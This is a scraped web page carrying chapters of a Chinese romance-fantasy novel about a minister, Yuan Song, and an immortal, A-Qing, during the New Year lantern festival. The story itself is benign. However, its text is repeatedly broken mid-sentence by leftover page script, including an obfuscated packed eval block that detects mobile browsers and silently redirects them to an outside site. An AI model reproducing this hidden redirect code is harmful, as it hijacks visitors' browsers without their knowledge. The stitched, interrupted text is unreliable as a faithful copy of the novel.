$(''#content'').append('' 无银三百两的嫌疑,可转念一想,很快又反应过来,没想到她这样单纯的脑袋里居然也会塞进这些黄黄的东西,简直可爱得人心软,笑了:“那我给你讲故事,你听着我的故事,慢慢地就不会去想身体不舒服的事情了。” 袁颂在讲睡前故事上天赋异禀,每一个用“很久很久以前”开头的故事,情节发展起来,各个都跌宕起伏、引人入胜。 她已经听他讲过好几个月的故事,从未有过一夜重样。 漆黑的卧室没有别的光亮,唯有小轩窗外漏进一点星光。 阿青靠在他胸口,不知怎地,忽然想到之前袁颂带她在屋顶吃烤鸭时看的那次星星。 袁颂当时问她,头顶的星星好看不好看。 她起初觉得很普通,平平无奇,可现在回想起来,当时的星星其实是好看的,因为身边的袁颂,让那样一个晚上成为了她独一无二的记忆。 袁颂故事讲到一半,发现怀里的少女在走神,就叫了一声“阿青”:“在想什么?” 阿青回过神,用下巴点了点那条漏进了星光的窗缝,无不认真地感慨道:“我突然发现,跟你一起看的星星,其实也很不赖。” 突如其来的沉寂在黑暗里蔓延。 袁颂怔怔的目光落在她脸上良久,忽地笑了一下,收紧了环在她腰上的手,本来想把睡前故事给她讲完,但忍了半响没忍住,还是先低头狠狠亲了她。 新年伊始,朝中有差不多半个月的休沐,一直要到元宵。 大年初一的早晨,天还没亮,阿青就被袁府里的鞭炮声吵醒,憋着一肚子的起床气坐起来,却被袁颂一支糖葫芦安抚。 穿着大氅的袁颂坐在她床边,身上还有寒霜的冷气,一脸风尘仆仆地像是刚刚从外头回来。 “之前听人说,女孩子吃甜食心情就会变好,所以我特地挑了支看起来最甜的。”见阿青怔怔地盯着他不说话,袁颂只当她还未清醒,理了理她睡乱的头发,语声就放得更柔更缓了些,“本想早起给你做的,但府中没有山楂,又担心今天你会醒得早,所以只能先去外头买一支应应急。” 30.030-红豆 030 其实相比阿青昏天暗地的咸鱼,袁颂的作息称得上勤勉。 因为想在休沐日里多跟阿青待一段时间,赶在她醒来前,他已经抽空去了趟宫里。 大抵是之前的宫变太过血腥残暴,以至于红墙之内再多的张灯结彩,也无法消弭空气里那股挥之不去的肃杀气息。 元月初一受急召进宫面圣,无非是昭帝对最后一批叛党的处置有所摇摆,找他一同商议。 熹微晨光里,两人很快聊完公事,袁颂喝着手边的白茶,看着水榭对岸那株开得如火如荼的红豆树,在心里默默计算着阿青醒过来的时辰。 冬日寂寥,本该在春日发芽的红豆树有这样的景致,实属少见。 昭帝顺着袁颂的目光,感慨道:“今年很神奇,朕还被关地牢里的时候,听宫人议论,说外头下了一场怪雨,那雨一下,御花园里所有不应季的花全都开了,仿若春神降临,可惜我当时没看见盛景。” 袁颂仍然记得从林溪山中出来时见的那一片花海:“或许陛下是天命感召,所以才会有这样的福泽降世。” 昭帝被这突如其来的恭维弄出一身鸡皮疙瘩,忍不住用一种揶揄的目光递向袁颂:“别人说这种话,朕还能信他是真的相信天人感应,但这话从你一个不信鬼神的人嘴里说出来,怎么听都觉得你像是在嘲弄朕——简直鬼扯。” 袁颂弯了一下唇,说了句“岂敢”:“但陛下怎知我不信鬼神?” 林溪山狐仙洞的怪事他并未跟任何人提起过,即便是面对至交好友,未免引起不必要的麻烦,他也选择缄口不言。 昭帝心道两人从小一块儿长大,他还不知道他是个什么人? “难不成你也有想要皈依的神仙?” 袁颂笑而不语,等同于是默认。 昭帝好奇追问了半天,就连替那个神通广大的神仙开道坛传教的承诺都许了,愣是从他嘴里撬不出一个字。 “没意思,看来你信这个神,信得也不是那么诚心。” 这么说。 是也不是。 他早已选定了一个神仙,在很小的时候,就决定这一辈子只侍奉她一个仙人。 只是这种侍奉,跟一般信徒的虔诚许愿并不相同。 他不是一个慷慨大方的信徒,一开始引诱阿青做的那些事,更谈不上光明磊落。 要是真像昭帝所说,为阿青开道坛传教,势必会为她招揽很多与他相同性别的信徒。 即便知道这样于她有益,但他就是不想。 只要一想到日后会有别的男子在对她的道像许愿,阿青又为了那点功德去庇佑那些人,他午夜梦回,醒来都要呕出几口嫉妒的血。 他的私心上不了台面,也只敢在无人时,承认自己的病态、极端和偏执。 他就是想要将阿青私藏在自己一个人的世界里。 就算穷其一生,他也想要打造一座黄金打造的宫观。 让那座金屋里,就住下阿青一个神。 怪力乱神的话题聊不出个所以然。 昭帝的目光落在袁颂脸上:“这几日好像你的心情都很不错,怎么?有喜事?” 两人相识十余载,几乎是一同长大,自然不会像普通君臣一样拘谨。 “不如朕给你喜上加喜?” 袁颂知道他想聊什么,叹了口气:“臣此番前来,还有一事想要恳请陛下。” “你是来拒婚的,对吗?”昭帝闻弦歌而知雅意,也确实没打算强求,“可皇姐心仪你多年,也求了朕很久,朕虽然觉得你们很般配,但感情的事情,总归是要两情相悦才好,不过你既未定过亲,那总得给朕一个理由,合情合理地让皇姐死心。” 君臣相处是有诀窍的。 什么时候该说什么话,什么环境里要摆什么态度,都有讲究。 “合情合理”这四个字,就是让他不要欺君。 看不上当朝圣上亲姐姐这种理由不能提,一提便是目中无人、自视过高。 袁颂:“臣早有心仪的人。” 昭帝:“当真?” 袁颂点头:“千真万确。” 昭帝上下打量了袁颂好几眼,确认他不像是在说谎:“那为何从未听你提起过?好你个青珩,原来前头压根就不拿朕当朋友。” 已经是只要想到阿青就会高兴的程度,袁颂脸上的笑意轻松而释然:“之前以为是自己一厢情愿,不足一提,说了,也是贻笑大方。” 昭帝:“但现在是觉得稳了,能摆到明面儿聊了?” 袁颂悠然喝了口茶,沉吟道:“也不算很稳,但是想试一试了。” 袁颂的心思弯弯绕绕,从不打没准备的仗,既然敢同他说,多半这婚事也八九不离十。 昭帝替他高兴,忍不住打趣问他是哪家的千金,能得他青眼,多年守身如玉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15312004|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “其实你也不用试,不如我下一道旨,给你们挑个黄道吉日成婚算了。” 袁颂心想,他跟阿青之间要是一道圣旨就能解决,那他现在的孩子都能进学堂了。 只能摆摆手,表示自己要循序渐进。 “不过话说回来,”昭帝好奇,“你心仪的,到底是个怎么样的人,居然能把我皇姐给比下去?” 袁颂静静地看着御花园里那一株开得极繁茂的红豆树,心里忽然想起的却是阿青在除夕夜里匀给他的三颗汤圆。 这个时辰,府里的鞭炮还未响,她多半仍在睡觉。 不知道神仙睡觉会不会做梦。 她的梦里,有没有出现过自己。 “不解风情,好吃懒做,不仅贪睡,起床气还很大。” “爱面子,狡猾又记仇,很喜欢故作老成并倚老卖老。” “口是心非,难伺候又挑剔,目空一切、什么也不放在眼里。” “怎么听起来都是缺点?” “是缺点吗?”袁颂转头冲一脸困惑的昭帝扯了个笑,“但我每一样都甘之如饴。” 这些都是阿青不同于别人的地方。 都是别人没见过的地方。 都是他一个人可以藏起来的记忆。 “看来你是真的很喜欢她。” 昭帝对他的品味心悦诚服。 “不知是哪家的千金,何日有机会一见?” 袁颂想了想:“我得问问她。” 但前提是,他需要在充分的准备下,才好最终确认。 他想要推开那扇纸门,近距离看一看那轮明月。 昭帝对他的心意彻底了然:“既如此,我便不好乱点鸳鸯谱,免得伤了情分,对皇姐也算有了个交代。” 见袁颂的目光直直地落在那株红豆树上。 “若你喜欢这株红豆杉,朕可叫人移到你府上去。” 袁颂笑着摇了摇头,只问不远处的侍卫要来了弓箭,站在水榭之上,微微眯了下眼,百步穿杨,从枝头射下了最明艳的那一簇红豆。 从宫里出来,又专程绕路去了趟早市,挑中最甜的糖葫芦。 袁颂抵达府中时,鞭炮还要再过半刻才放,阿青仍在睡觉。 他悄悄地从袖中取出一枚金色的发簪,在她睡乱的云鬓边比划了一下,却赶在她被鞭炮声吵醒皱起眉睁眼的前一瞬,飞快地将发簪藏到了身后。 31.031-压岁钱 031 还没睡醒的阿青看着搁在眼前的糖葫芦。 红彤彤的几颗山楂球,像是某种能吸收起床气的法宝,把她憋了一肚子的不畅快都消弭得一干二净,于是她很高兴地笑纳了袁颂一大早供奉给她的零嘴。 虽然早上醒得早,但阿青的兴致却比往日都要高,因为袁颂一大早外出,不仅给她带回了糖葫芦,还给她买了解闷的九连环。 阿青听着院落外热闹的鞭炮,困惑袁颂为何不用出去应对家长里短。 “因为今天早晨去了趟宫里,陛下需要我再呈几份策论,比较急,我爹怕打扰我写东西,就干脆——” 袁颂还未说完的话被横到眼前的糖葫芦截断。 阿青低着头解九连环,好像跟他分享食物,也是一件再自然不过的事情。 清透的天色融进他琥珀色的瞳孔里,碎出很温柔的雪光,袁颂垂下眼睫轻轻笑了一声,握着阿青的手,咬了一口递到唇边的糖葫芦。 阿青镇定地问:“甜吗?” 袁颂自记事起便没再吃过这些孩提时期的零嘴,猝不及防被投喂,嘴里什么味道还没尝不出来,心里源源不断的满足却像温泉涌动,低头写策论时的唇角怎么也压不下去:“没吃过这么甜的。” 阿青狐疑,像是不信他的话,咬了一口底下果肉嚼嚼嚼:“我觉得跟你之前带回来的,也差不多啊。” 反应过来,开始懊悔:“啊,肯定是你那颗特别甜,可恶,我就是看它长得小小的,觉得应该是酸的,才特地让你咬的。” 阿青的坏心眼也可爱得人发晕。 袁颂忍俊不禁,饱满的指腹轻轻揩掉沾在她唇角的糖渍,视线落在她红润的嘴唇上,没忍住,又把人拉近了一顿亲。 摇椅晃动,时光消磨。 袁颂用舌尖勾住阿青,吻过她湿润的唇角,温热的气息喷在她脸上,喘息着问她:“甜吗?” “……” “尝出来了吗?” “……” 阿青被亲麻了,都分不出唇齿里那点泛上来的味道,是来自他津液的甜味,还是他舌尖尚未消尽的糖霜。 她单单就是觉得神奇,袁颂现在一天至少亲她十几次,居然每一次都能变出不同的花样,严重怀疑他狐狸精转世,太懂得怎么钓人心猿意马了。 不可思议。 好像休息了一夜,她居然又能做汤圆了。 阿青一边吃糖葫芦,一边解九连环。 袁颂写几行字就要搁笔,伸手去她唇边。 阿青把山楂的核吐在袁颂手里,正要抱怨这小贩做食物一点也不细致,袁颂忽然道:“其实这种糖葫芦做起来也很简单,早晨我已经差人去买山楂了,到时候提前替你把山楂里的核给去了,这样你吃的时候就不会觉得麻烦了。” “……” “新年的鞭炮要放到大年初五,估计接下来日日都会吵得你睡不舒坦。” 阿青想说有了大年初一被吵醒的经历后,她未来的几天在临睡前都会提前设好音界,可没想到袁颂已经按部就班地替她规划起来。 “所以我今晚会替你把后面几天的糖葫芦都做好,现在天气冷,糖壳很容易做到又薄又脆、甜而不腻,在屋外冻一个晚上,第二天一早就能吃,还不会粘牙。” 阿青沉默地嚼着裹了糖的山楂,垂眸注意到自己空空如也的手腕,不知道为什么,胸口那股熟悉的不适感卷土重来,忽然之间就没了胃口,仰面躺在摇椅上发了好一会儿的呆,然后叫了一声“袁颂”。 “怎么了?” “你之前答应我要带我花朝节的,还记得吗?” 袁颂从文卷中抬起头,敏锐地察觉到她的意图:“想出去玩?” 阿青没有正面回答到底是想还是不想,只是闷闷不乐地跟他抱怨:“明明都叫过你哥哥了,也不见你说话算话。” 其实就算她不提,袁颂今晚也打算带她出门,上京城的元月初一是个看灯会的大日子,张灯结彩的闹市里,肯定有她喜欢的东西。 早一个月就在观景楼里订下了最好的席位包间,只是早上记挂着要给她买糖葫芦,就忘了跟她说。 袁颂莞尔:“自然是算话的。” 阿青鼓起脸,用一种质疑的目光问询他打算什么时候践诺。 袁颂有心逗她,故而脸上装出遗憾的样子:“但花朝节一年就一次,错过今年的话,就只能等明年了。” 阿青立刻不开心了,用“你这人怎么能这样”的目光狠狠地谴责他。 袁颂:“不过今夜的灯会,人比花朝节还多,也更热闹,我用这个跟你换好不好?除此之外呢,明年的花朝节也照例补给你。” 阿青脸上愤愤地哼哼唧唧一副他出尔反尔没信用的无语,但心里却在说“这还差不多”。 神仙口是心非的时候也有小动作。 至少阿青在心口不一时,就喜欢无意识地用手指绕着裙子上的丝带玩。 袁颂看破不说破,只觉得这样朝朝暮暮相处的每一刻都让“天长地久”这四个字近在咫尺。 阿青站起身,很不耐烦地催他:“你写完没啊?” 袁颂:“怎么?” 阿青一本正经:“不是上街去看灯吗?我怕你时间一拖久,又要赖皮。” 他被阿青的表情可爱到忍俊不禁,没忍住,最后还是伸手掐了掐她的脸,哄道:“怎么会赖你?总得得天黑吧?否则亮了灯也不好看。” 袁颂一句话,阿青简直是掰着手指头数时辰,连午觉都睡不好,好不容易等到太阳开始变黄,她已经坐不住地在袁颂身侧走来走去,扣扣花摸摸草,替土里的蚯蚓忙忙碌碌地搬家。 虽然阿青总是把自己活了两千多岁的话挂在嘴上,但在袁颂看来,其实她就像一个什么也没经历过的小孩子,被她晃得好笑,一把拉过人坐到自己腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323985|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,往她怀里丢了一个早就准备好的荷包。 阿青:“这什么?” 掂量了一下,听到里面细细碎碎一阵金属的碰撞声。 好奇地打开了荷包的抽绳,发现里面是几块碎银子和一串铜钱。 袁颂一心二用,在卷宗里批下最后的意见:“给你的压岁钱。” 上京的习俗,大年初一的长辈要给小辈压岁钱。 他是府中嫡出的长公子,合该以哥哥的姿态给其他小辈发压岁钱,但袁在望念他公务繁忙,就替他代劳了这些小事。 所以袁颂新年亲手送出的红包,也就阿青独一份。 “到时候上街了,你看到喜欢的东西,就可以自己买。” 阿青撇了撇嘴:“我又不是小孩子,给我这种俗物做什么?你知不知道,我都已经两千多岁了,拿这种东西戏弄我,你未免也太放肆了。” 她嘴上嫌弃,手里却把那个荷包攥得紧紧的。 袁颂把她口是心非的小动作看在眼里,低一头,鼻子就抵在她的鼻子上。 “我又不是禽兽,才没舍得把你当小孩子看。” “那你当我是什么?劝你最好尊重一下我们神仙。” 贡品就该有贡品的自觉。 两人的嘴唇挨得很近,阿青已经做好了袁颂又要亲她的准备,可袁颂却只是将额头靠在她的额头上,很亲昵地跟她温存。 太过温柔的动作,莫名让她一颗急着出门的心,被抚慰到彻底安静了下来。 冬日夕阳西下。 抱着她的少年人的身上有一股很淡很好闻的茶香,舒服到阿青觉得自己以后就算仙陨,大概也不会忘记这一刻的味道。 目光不由自主地落在曾经绑过两人命契的手腕上,昨夜那股又酸又堵的怪异感觉,再度卷土重来。 几百年前张陵留在自己身上的禁制早就已经解开了。 她是眼睛出了什么问题吗? 一看不该看的,就全身上下不不舒服。 脑中的灵光闪过林溪山顶的那场羽化,阿青心里已经有了很不妙的猜测。 袁颂捏着她的下巴,一对上她的视线,漂亮的狐狸眼已经提前弯了起来,有些得意地问:“你既叫我一声夫君,你说我能把你什么?” 阿青昏昏茫茫地回忆她到底在床上这样喊过他几次,但床上说的话,怎么能当真呢? 只是隐约间,觉得哪里不对劲。 袁颂忽然很用力地抱了她一下,依依不舍地在她发间轻嗅了一下她的体息。 阿青感受到他身上的变化,顿时警觉得一下子从他怀里坐直了。 袁颂读懂了她眼里的谴责,要笑不笑地扯了一下唇:“天都快黑了,谁让你一直坐我身上?再不下去,我们今晚就别出门看灯了。” 阿青:“……” 还有没有天理了! 这年头的贡品也太喜欢倒打一耙了! 32.032-灵蛇簪 032 入了夜的上京城人声鼎沸。 各种眼花缭乱的铺子临街开张,叫卖一声接一声,逛得人应接不暇。 阿青自打下界以来,就没来过人这么多的地方,东张西望,不安有之,新奇有之。 摩肩接踵的人流差点将她挤回巷子口,她垂在身侧的手下意识碰了一下袁颂,袁颂很自然地就在人群里牵住了她的手。 “跟着我。” 城中的宵禁会一直持续到元宵,但新年伊始,又总是格外热闹,两人手牵着手,有一搭没一搭地聊天,直到来到一家打着烤鸭招牌的酒楼前。 阿青看到悬在头顶随风招摇的旌旗,一时之间,五味杂陈。 三百年前,她就是在这家百年老字号对面的馄饨铺给张陵诓住的,只是酒楼里的烤鸭还在卖,那家小小的馄饨铺子却早就改了不知多少朝换了不知多少代。 袁颂:“订的包厢就在楼上,再过一个时辰就是龙灯游街,从包厢里往街上看,风景是最好的,你是要现在就去吃东西,还是再逛逛?” 横竖灯会才走了不到三分之一,阿青当然不着急,毕竟她现在兜里的压岁钱都还没花过一个铜板,当然对这种体验跃跃欲试。 路过一家泥人铺子,她盯着摆在上头的一只白毛小狐狸走不动道。 小贩很热情,张嘴开价十个铜板。 阿青收起脸上那点心心念念,面无表情地问人五个铜板卖不卖,不卖的话就算了。 她刚才在逛的路上,已经知道这些铺子里标的价都不是实价,里头水分的高低取决于摊主的面相——看起来老实本分的,可以砍一半,看起来奸诈狡猾的,嘿嘿,那就直接砍得只剩零头就好了。 小贩抬头一看俊男美女,决心讨个彩头,只要不亏本,五文钱咬咬牙也是可以卖的。 于是,打包好的白毛小狐狸就被袁颂拎在了手里,阿青一路买东西一路砍价,砍得不亦乐乎,完了还叼了颗牛肉丸子在嘴里,愤愤不平地跟他吐槽说:“你们凡间的人,简直太奸诈了,明明一文钱就能卖的糖,偏偏要十文钱。” 阿青这副明明头回出门逛街却故作老成的样子实在可爱得袁颂脑袋发昏,盯着她吃丸子鼓起的一侧脸,想也不想就说:“主要还是你太聪明了,慧眼识货。” 神仙逛街,也是需要情绪价值的。 袁颂做宰相纵横官场数月有余,无往不利,把超高的情商用在她身上,简直哄得她浑身舒坦、飘飘得差点找不到北,忍不住给他奖励了一颗肉丸子。 越接近龙灯游街的时辰,街上的人就越多,灯会热闹,迎面走来的不少男男女女或手里或脸上,都带着造型精巧的面具,看得阿青好奇,伸着脖子找这些面具的来处。 袁颂问了身旁一位站着赏花灯的游客,礼貌地打听她是从何处购得面具。 那女子转头一见袁颂,顿时双颊飞红,磕磕巴巴地将手里的狸奴面具往他怀里送,只说他想要的话,她可以将自己的给他。 袁颂只当是阿青急着想要面具玩,正要问她这狸奴面具要不要先收了,阿青却忽然有些不快地看向那少女,先他一步摇头说“不要”。 目光转向袁颂,阿青正色:“我有钱,我给你买。” 说完,也不管两人反应,阿青拽着他的胳膊就将他扯开了。 袁颂一脸莫名地拎着手里一堆小玩意儿被拉出好长一段距离,忽然回过神,低着头笑了一下。 这一笑,他一路的嘴就再没合拢过。 之前逛灯会,总觉得那些花灯上的灯谜,有种故弄玄虚的蠢,但阿青在他身边,他竟也期盼灯会不散场,灯谜永远猜不完。 两人七拐八绕终于找到那间做工精良的面具摊,两手都拎着各种小玩意儿的袁颂是没办法挑面具了,只好由阿青代劳。 她给袁颂挑了个很秀气的狐狸面具,自己却带起青面獠牙的山鬼。 袁颂一双狐狸眼藏在瓷白的面具后,弯着眼睛认认真真地夸阿青选得好,眼光上上乘,审美一级佳。 饶是这一路上已经被毫不吝啬的袁颂夸到情绪麻木,但阿青还是免不了庆幸自己这时候带着面具,没叫袁颂看清自己的表情,否则实在太丢神仙的脸了——要是她这时候化出法身,蛇尾估计都能摇出虚影。 她挑挑拣拣在摊位上磨蹭了好长一段时间,袁颂在心里默默计算了一下龙灯游街的时间,然后不急不躁地问阿青要不要买。 阿青掂了掂荷包里的压岁钱,有些遗憾地说自己的压岁钱不够了。 其实可能也是够的。 但她要把这些碎银子存下来,去曾经的酒楼里,吃一顿真真正正的香香鸭,而不是袁颂这种滥竽充数、吸人精气的狐狸鸭。 元月初一出来做生意的商贩嘴都很甜,听阿青说压岁钱的架势,还以为袁颂是她族中的某个哥哥,便笑眯眯地叫阿青央一央自己的哥哥,毕竟今天这种日子,哪有不能替妹妹做主的哥哥? 阿青一撇唇:“他才不是我哥哥呢。” 小贩打量了一眼她旁边的袁颂,露出一个恍然大悟的表情:“那想必这位公子一定是你的未婚夫婿了,真是郎才女貌,般配得不行,这位郎君,你家小娘子既然喜欢,你就买了送她呗。” 袁颂面不改色却红起一对耳朵,豪气地大手一挥表示摊位里的面具他全包了。 阿青:“……” 好败家的狐狸鸭。 面具摊里的东西零零碎碎打包费时,袁颂便交代小贩稍后给送到袁府里。 小贩是地地道道的上京人,一听他报出来的是宰相府邸,再一结合市井里的传闻,虽然不知那位令人钦佩的宰相大人到底长什么模样,但爱屋及乌,滔滔不绝的漂亮话张嘴就来,什么百年好合、什么子孙满堂,一连十数个成语不重样。 阿青听得心里好笑,忙拉着袁颂往前走,走出了好几个摊位,才猛然想起,她刚才居然忘记跟那个奸商砍价,简直懊悔得她吃不下香香鸭。 走走停停,让逛街也变得一点不无聊。 灯会巷口的人最多,摊位最密,越往里走,人群便渐渐疏散开来,空间也变得开阔,但街道两侧的五光十色的彩灯花样却更加繁复,观赏性极佳。 天界最大的盛况就是每千年一次的蟠桃会,每次宴席开场,就有宫娥姐姐捧着统一制式的宫灯如云雀飞入。 可两厢一比较,阿青却觉得凡间的能工巧匠更令人钦佩,仅用几根竹篾就将灯做得这样惟妙惟肖,夜风一吹,挂在廊沿下的纸鸟都有振翅欲飞的灵动。 袁颂注意到她的失神,笑着问:“好看么?” 阿青用力点头说“好看”。 袁颂:“你以前不是总觉得天上的东西不管怎么样都比人间的好?” “各有各的不同嘛,”阿青的评价公正客观,“虽然萤火虫飞不上九重天,但这并不意味着,它们比不上仙境的奇景。” 袁颂意外于她的认知改观,但阿青却觉得他的反应有点少见多怪。 毕竟,凡人有凡人的智慧,而这样的凡间,其实也是很值得神仙爱惜的。 只有真正到过人间的神,才能深刻体会到凡人的不易。 王朝更替,战乱动荡,可生活在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330595|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这片土地上的人却仍然能够生生不息。 士农工商、贩夫走卒,每一个人都在很努力地生活。 以前父君总跟她说,天地不仁,以万物为刍狗,所以他们做神仙,就更要找到自己为之而奉的道,才算对得起自己的仙格。 经历过一场血洗大宫变的王朝,在民间却看不出太多波折,上京城里的百姓安居乐业,也确实有袁颂这帮人的功劳。 挂着花灯的河岸边很热闹,一对一对的男男女女,脸上都带着笑。 树梢有灯,就连潺潺流水里也浮着好多燃烧着短烛的灯。 阿青不解:“这些灯,为什么不挂到树上去,反而要飘在水里?蜡烛一灭,岂不是很容易就要沉到水底?” “因为这是同心莲花灯,”袁颂示意阿青去看水岸边正在放灯的一男一女,“元月初一放花灯是这里未婚男女的习俗,两人放了花灯,就是立誓永结同心的意思。” 阿青想了想,脸上忽然扯出一个很轻蔑的笑意:“可是你们凡间也不是所有放过花灯的恋侣,就一定能永结同心吧?不然话本里哪来那么多的痴男怨女,闹到最后也老死不相往来——可见这种很有仪式感的立誓,也没什么效用,毕竟花灯一沉水,连个昔日的凭证也找不着。” 袁颂默然:“因为人心易变。” 阿青原本对放水里的花灯也有些跃跃欲试,但转念一想,又觉得这种自欺欺人的花灯,不放也罢,却忽然听见袁颂沉稳的声音落在耳畔。 “但我不会。” 阿青若有所思地抬起眼,看到明灯的华光落入袁颂澄澈的眼中,灼然似焰火,却又诚挚得前所未有的郑重。 胸口那股被她努力压制的不适感,再度不合时宜地涌上来。 她移开眼,强迫自己别去注意袁颂的目光,可暗地里还是忍不住感慨一句狐狸精非同凡响。 结果狐狸精偏不放过她,捏了捏她的手指,轻轻叫了声“阿青”。 “干嘛?” 阿青败下阵来,只好无力地回头,再次对上袁颂那双温柔的却让她胸口酸酸的眼睛。 “今年的冬天来得太迟,我幼时见过最好看的一场灯,是一边赏雪,一边看灯,鹅毛大的雪花落在灯火里,飘进水里,总会给人一种时间静止、地老天荒的感觉,跟可惜今夜看来是不会下雪了。” 袁颂说话的时候,神情是笑着的,可偏偏眼神却带着遗憾。 阿青想象着袁颂口中的画面,下意识道:“今年冬天来得迟的原因,大概是颛顼伯伯贪杯醉酒耽搁了,他到时候肯定又得跟我爹抢时——” 她话说到一半,自知不妥,瞬间便收住了声音。 袁颂若有所思的目光递到她脸上:“你好像从未跟我说过你爹。” 阿青盯着旁边的馄饨铺发出了没见过世面的“哇哇”声,假装没有听到袁颂问她的话。 注意力很快就被河对岸的两人吸引。 放完花灯的一男一女站在树下,男子小心翼翼地从怀中拿出一支桃花簪,女子羞红了脸,却极乖顺地低下头,任对方将发簪插在了云鬓边。 阿青看得一脸莫名,正准备问问袁颂这两人在干嘛,忽然听见袁颂很温柔地叫了声她的名字。 一贯从容的袁颂,难得将头压得低低的,有些迟疑地从袖中取出了一枚造型和做工都很灵巧的灵蛇簪,灵蛇的眼睛里嵌着一颗不知道是珊瑚珠还是什么东西的小珠子,剔透像血一样红艳艳的。 对上她视线的一瞬间,袁颂的脸便已经红了,却还是强自镇定地说:“东西是我自己做的,不知道你会不会喜欢。” 33.033-千树放花 033 阿青没想到袁颂还有这般能工巧匠的技艺,不可思议地盯着他手里那支发簪。 两人相识这半年多来,她从袁颂手里得过不少好东西,尝过片皮鸭和糖葫芦,也得过压岁钱,唯独没想到他会给自己这种玩意儿。 “真的是,给我的?” 该说不说,还真有点好看。 簪身细长,缠绕在上的蛇尾连鳞片都栩栩如生,精致叫人看一眼就移不开目光。 袁颂举着簪子在她头顶比划了一下,难得有些不自信地征求她的意见:“我给你带上?” 头发里有微凉的金属插入。 有种说不出的古怪。 她其实并不簪发。 羽衣有灵,能够自行照顾她的衣着起居。 她日常的发饰很简单,往往几根同色的丝带绑出灵巧的发髻,任剩余的青丝披在脑后。 猝不及防顶一根纤细的发簪,能够清晰地感受到簪子的重量,很让人不习惯。 袁颂退开半步,正准备好好欣赏一下,阿青已经眼疾手快地取下了发簪,就着头顶花灯的亮光,仔细打量。 袁颂:“……” 阿青很不客气地扣了扣簪顶灵蛇的眼珠子:“这里面镶的是什么?” 袁颂望着她,有些期待地欲言又止:“是红豆。” 阿青立刻努力地瞪大自己的眼睛让袁颂瞧仔细一点:“可我的眼睛是绿色的呀。” 袁颂沉默了片刻,终于无力叹了口气:“那改日我再给你做支绿眼睛的簪子。” 这下阿青算是开心了,正打算把发簪插回头上,可转念一想,手边又没镜子,万一簪得不好看岂不是很丢人? 于是,她将簪子把在手里挽了个花,忽地,发簪就从她手里不翼而飞了。 袁颂怔怔地看着她空空如也的掌心,一时之间都没回过神。 阿青:“我先放进乾坤袋里,等晚上回去了再拿出来。” 少女脸上的神色很不以为意,袁颂很快就反应过来,或许是方才的时机选得不够好。 两人所在的赏灯水岸有个别名为“情人岸”,情人岸的不远处,有一座“三生桥”,传闻元月初一,男女二人携手过桥,就是定了三生三世的盟约。 站在这样应景的堤岸边,又听了阿青对人间不赖的评价,也难怪他没沉住气。 只是今夜整个行程和安排,他在心中已经预演过数次,一次不行,还有第二次,他仍有大把时间可以慢慢同她把心意说明白。 可惜手边没了用来剖白心意的发簪,总让袁颂有种巧妇难为无米之炊的虚无感,只好先向她讨一个承诺,勾着她的手指,饱满的食指指腹轻轻挠着她的手心,亲昵地换她注意力,有点委屈又有点哀怨地说:“阿青,你收了我的东西,以后就不能抵赖了。” “我能抵赖什么?” 袁颂在勾引神仙这件事情上,简直修炼得炉火纯青。 阿青的手心被挠得麻麻痒痒,脑袋都晕了,应诺张嘴就来:“既然你送了我簪子,那不如我也给你礼尚往来一下?” 对上袁颂意外欣然的眼神,她镇定道:“先前你不是还遗憾在这种日子里赏不到雪么?其实也不难。” 袁颂有心想打探她的背景:“你该不会是想叫你那个什么伯伯给你开后门吧?” 阿青轻轻“嘁”了声,斜睨他一眼,得意地说:“杀鸡,焉用牛刀?” 她高高兴兴地走近水岸边,堤岸下边是流水浮灯里,堤岸之上的一侧种着梨花和绿柳,因为是寒冬,枯枝败叶,一片萧索。 倘若来一场雪,覆满枝头,再搭配头顶这些造型各异的花灯,的确跟人间仙境没什么两样。 站在一株梨树下,阿青闭眼默念了一个口诀,很快就有温柔和煦的暖风,徐徐拂面而来。 然后她笑着牵起袁颂的手,往前走一步,头顶的树梢轻动,冬日的枯木回春,料峭的枝头上千朵梨花绿萼抽芽,生机夺目。 第一株梨树花萼炸开,露出嫩芽白蕊。 再走一步,第二株梨花树开。 第三步。 第四步。 堤岸十余树,枝头千朵花。 风一吹,梨瓣柳絮飞花似雪,落入流水浮灯,胜似三月春景。 耳畔的惊呼声此起彼伏。 众人纷纷放下手里的东西,在夜风里去接这些见所未见的落雪飞花。 袁颂怔怔地看着头顶的梨瓣弱柳,只觉得这一幕光景似曾相识。 他不可思议地转头去看阿青——始作俑者的脸上一脸不以为意,但藏在眼睛里的得意却欲盖弥彰,像是邀功般望着他,说“瞧我厉害吧”。 他第一次亲眼见证了所谓的仙人之力,是一种如梦似幻、动人心魄的瑰丽。 飞花随流水。 梨白落满头。 